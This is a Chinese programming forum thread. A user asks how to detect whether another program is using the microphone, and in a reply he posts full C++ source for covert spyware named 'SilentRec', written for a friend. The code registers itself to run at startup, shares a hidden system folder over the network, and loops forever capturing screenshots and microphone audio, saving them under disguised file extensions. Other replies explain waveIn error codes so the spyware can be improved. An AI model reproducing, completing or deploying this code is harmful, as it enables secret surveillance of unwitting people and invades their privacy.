很简单,请问怎样判断是否有别的程序在录音?或着说是在调用录音设备。

解决方案 »

  1.   


    如果能加上这个功能,那下面的代码就圆满了。一个朋友叫我帮忙写的,我的内心很纠结,从来没干过这种事……
    放代码,不解释#include <tchar.h>
    #include <atlstr.h>
    #include <windows.h>
    #include <gdiplus.h>
    #include <lm.h>#pragma comment( lib, "gdiplus" )
    #pragma comment( lib, "Netapi32" )
    #pragma comment( lib, "Winmm" )using namespace Gdiplus;int WINAPI WinMain( HINSTANCE hInst, HINSTANCE, LPSTR, int )
    {
    // 获取当前进程句柄,降优先级为Idel。
    DWORD dwProcId = GetCurrentProcessId();
    HANDLE hProc = OpenProcess( PROCESS_SET_INFORMATION, NULL, dwProcId );
    SetPriorityClass( hProc, IDLE_PRIORITY_CLASS );
    CloseHandle( hProc );
    // 获取本进程的exe文件路径
    CString strImageName;
    GetModuleFileName( (HMODULE)hInst, strImageName.GetBuffer( MAX_PATH ),
    MAX_PATH );
    strImageName.ReleaseBuffer();
    // 建立互斥量,必免程序运行多个实例
    HANDLE hMutex = CreateMutex(NULL,TRUE,_T("SilentRec"));
    if( GetLastError() == ERROR_ALREADY_EXISTS )
    {
    return 0;
    }
    // 在注册表注册为开机启动
    HKEY hKey;
    RegOpenKeyEx( HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Microsoft\\Windows\\")
    _T("CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey );
    RegSetValueEx( hKey, _T("SilentRec"), 0, REG_SZ,
    (LPBYTE)(LPCTSTR)strImageName,
    sizeof(TCHAR) * strImageName.GetLength() );
    RegCloseKey( hKey );
    // 创建保存目录并设为共享
    LPCWSTR lpPath = L"c:\\windows\\system\\capture";
    CreateDirectory( CString( lpPath ), NULL );
    SHARE_INFO_2 shi2;
    ZeroMemory( &shi2, sizeof(shi2) );
    shi2.shi2_netname = L"01SYSTEM";
    shi2.shi2_type = STYPE_DISKTREE;
    shi2.shi2_permissions = ACCESS_READ | ACCESS_WRITE | ACCESS_CREATE;
    shi2.shi2_max_uses = SHI_USES_UNLIMITED;
    shi2.shi2_path = (LPWSTR)lpPath;
    NetShareAdd( NULL, 2, (LPBYTE)&shi2, NULL );
    DWORD dwGapTime = 15;
    // 初始化音频设备
    HWAVEIN hwi = NULL;
    WAVEFORMATEX wf;
    wf.wFormatTag = WAVE_FORMAT_PCM;
    wf.nChannels = 1;
    wf.nSamplesPerSec = 11025;
    wf.nAvgBytesPerSec = 11025;
    wf.nBlockAlign = 1;
    wf.wBitsPerSample = 8;
    wf.cbSize = sizeof(wf);
    waveInOpen( &hwi, 0, &wf, NULL, 0, CALLBACK_NULL );
    // 准备录音缓冲区
    WAVEHDR whdr;
    ZeroMemory( &whdr, sizeof(whdr) );
    whdr.dwBufferLength = dwGapTime * wf.nAvgBytesPerSec;
    whdr.lpData = new char[ whdr.dwBufferLength ];
    // 初始化GDI+
    GdiplusStartupInput gdiplusStartupInput;
    ULONG_PTR gdiplusToken;
    GdiplusStartup( &gdiplusToken, &gdiplusStartupInput, NULL );
    // 获取编码器列表
    UINT nEncNum, nEncSize;
    GetImageEncodersSize( &nEncNum, &nEncSize );
    ImageCodecInfo* pImageCodecInfo = (ImageCodecInfo*)malloc( nEncSize );
    GetImageEncoders( nEncNum, nEncSize, pImageCodecInfo );
    //在列表中查找PNG编码器的CLSID
    CLSID encoderClsid;
    for( UINT i = 0; i < nEncNum; ++i )
    {
    if( wcscmp( pImageCodecInfo[i].MimeType, L"image/jpeg" ) == 0 )
    {
    encoderClsid = pImageCodecInfo[i].Clsid;
    break;
    }    
    }
    free( pImageCodecInfo );
    // 获取屏幕尺寸
    DWORD dwScrX = GetSystemMetrics( SM_CXSCREEN );
    DWORD dwScrY = GetSystemMetrics( SM_CYSCREEN );
    // 获取屏幕显示DC
    HDC hScrDC = CreateDC( _T("DISPLAY"), NULL, NULL, NULL );
    // 并初始化内存DC和位图
    HDC hMemDC = CreateCompatibleDC( hScrDC );
    HBITMAP hMemBmp = CreateCompatibleBitmap( hScrDC, dwScrX, dwScrY );
    HBITMAP hOldBmp = (HBITMAP)SelectObject( hMemDC, hMemBmp );
    // 每15秒存一张
    for ( CString strFileName; ; )
    {
    // 用时间作为文件名
    SYSTEMTIME st;
    GetLocalTime( &st );
    strFileName.Format( _T("%s\\%02d%02d_%02d%02d%02d.dai"),
    (LPCTSTR)CString( lpPath ), st.wMonth, st.wDay,
    st.wHour, st.wMinute, st.wSecond );
    //截取屏幕
    BitBlt( hMemDC, 0, 0, dwScrX, dwScrY, hScrDC, 0, 0, SRCCOPY );
    Bitmap *pBmp = Bitmap::FromHBITMAP( hMemBmp, NULL );
    // 保存文件到指定目录。
    pBmp->Save( strFileName, &encoderClsid, NULL );
    delete pBmp;
    // 开始录音
    waveInPrepareHeader( hwi, &whdr, sizeof(whdr) );
    waveInAddBuffer( hwi, &whdr, sizeof(whdr) );
    waveInStart( hwi );
    Sleep( dwGapTime );
    waveInStop( hwi );
    // 写入wav文件
    DWORD dwData, dwRes;
    GetLocalTime( &st );
    strFileName.Format( _T("%s\\%02d%02d_%02d%02d%02d.daw"),
    (LPCTSTR)CString( lpPath ), st.wMonth, st.wDay,
    st.wHour, st.wMinute, st.wSecond );
    HANDLE hFile = CreateFile( strFileName, GENERIC_WRITE, 0,
    NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL );
    WriteFile( hFile, "RIFF", 4, &dwRes, NULL);
    dwData = whdr.dwBufferLength + 18 + 20;
    WriteFile( hFile, &dwData, 4, &dwRes, NULL );
    WriteFile( hFile, "WAVEfmt ", 8, &dwRes, NULL );
    dwData = 18;
    WriteFile( hFile, &dwData, 4, &dwRes, NULL );
    WriteFile( hFile, &wf, sizeof(wf), &dwRes, NULL);
    WriteFile( hFile, "data", 4, &dwRes, NULL );
    dwData = whdr.dwBufferLength;
    WriteFile( hFile, &dwData, 4, &dwRes, NULL );
    WriteFile( hFile, whdr.lpData, dwData, &dwRes, NULL );
    SetEndOfFile( hFile );
    CloseHandle( hFile );
    waveInReset( hwi );
      waveInUnprepareHeader( hwi, &whdr, sizeof(whdr) );
    }
    /*
    // 以下代码不会用到了,所以注掉吧。
    // 关闭音频设备
    waveInClose( hwi );
    释放内存
    delete[] whdr.lpData;
    // 释放内存DC和位图
    SelectObject( hMemDC, hOldBmp );
    DeleteObject( hMemBmp );
    DeleteDC( hMemDC );
    DeleteDC( hScrDC );
    // 关闭GDI+
    GdiplusShutdown( gdiplusToken );
    */
    }
      

  2.   

    不是用了waveIn的api了么,判断返回值啊://waveInPrepareHeader
    waveInPrepareHeader(
      hWaveIn: HWAVEIN;      {设备句柄}
      lpWaveInHdr: PWaveHdr; {TWaveHdr 结构的指针}
      uSize: UINT            {TWaveHdr 结构大小}   
    ): MMRESULT;             {成功返回 0; 可能的错误值见下:}MMSYSERR_INVALHANDLE = 5;  {设备句柄无效}
    MMSYSERR_NOMEM       = 7;  {不能分配或锁定内存}
    MMSYSERR_HANDLEBUSY  = 12; {其他线程正在使用该设备}
    //waveInOpen
    waveInOpen(
      lphWaveIn: PHWAVEIN;       {用于返回设备句柄的指针; 如果 dwFlags=WAVE_FORMAT_QUERY, 这里应是 nil}
      uDeviceID: UINT;           {设备ID; 可以指定为: WAVE_MAPPER, 这样函数会根据给定的波形格式选择合适的设备}
      lpFormatEx: PWaveFormatEx; {TWaveFormat 结构的指针; TWaveFormat 包含要申请的波形格式}
      dwCallback: DWORD          {回调函数地址或窗口句柄; 若不使用回调机制, 设为 nil}
      dwInstance: DWORD          {给回调函数的实例数据; 不用于窗口}
      dwFlags: DWORD             {打开选项}
    ): MMRESULT;                 {成功返回 0; 可能的错误值见下:}MMSYSERR_BADDEVICEID = 2;  {设备ID超界}
    MMSYSERR_ALLOCATED   = 4;  {指定的资源已被分配}
    MMSYSERR_NODRIVER    = 6;  {没有安装驱动程序}
    MMSYSERR_NOMEM       = 7;  {不能分配或锁定内存}
    WAVERR_BADFORMAT     = 32; {设备不支持请求的波形格式}
      

  3.   

    在waveInOpen处判断一下返回值吧,不过不被其他程序占用,应该是没有返回错误码的。
      

  4.   

    //在 初始化音频设备 前加上这句   
    WAVEFORMATEX  wfq;
     HWAVEIN hwi1 = NULL;
        wfq.wFormatTag = WAVE_FORMAT_PCM;
        wfq.nChannels = 1;
        wfq.nSamplesPerSec = 11025;
        wfq.nAvgBytesPerSec = 11025;
        wfq.nBlockAlign = 1;
        wfq.wBitsPerSample = 8;
        wfq.cbSize = sizeof(wfq);
        if (NULL == waveInOpen( &hwi1, 0, &wfq, NULL, 0, 0))
    {
    MessageBox(NULL, _T("设备已打开"), NULL, MB_OK);
    return 1;
    }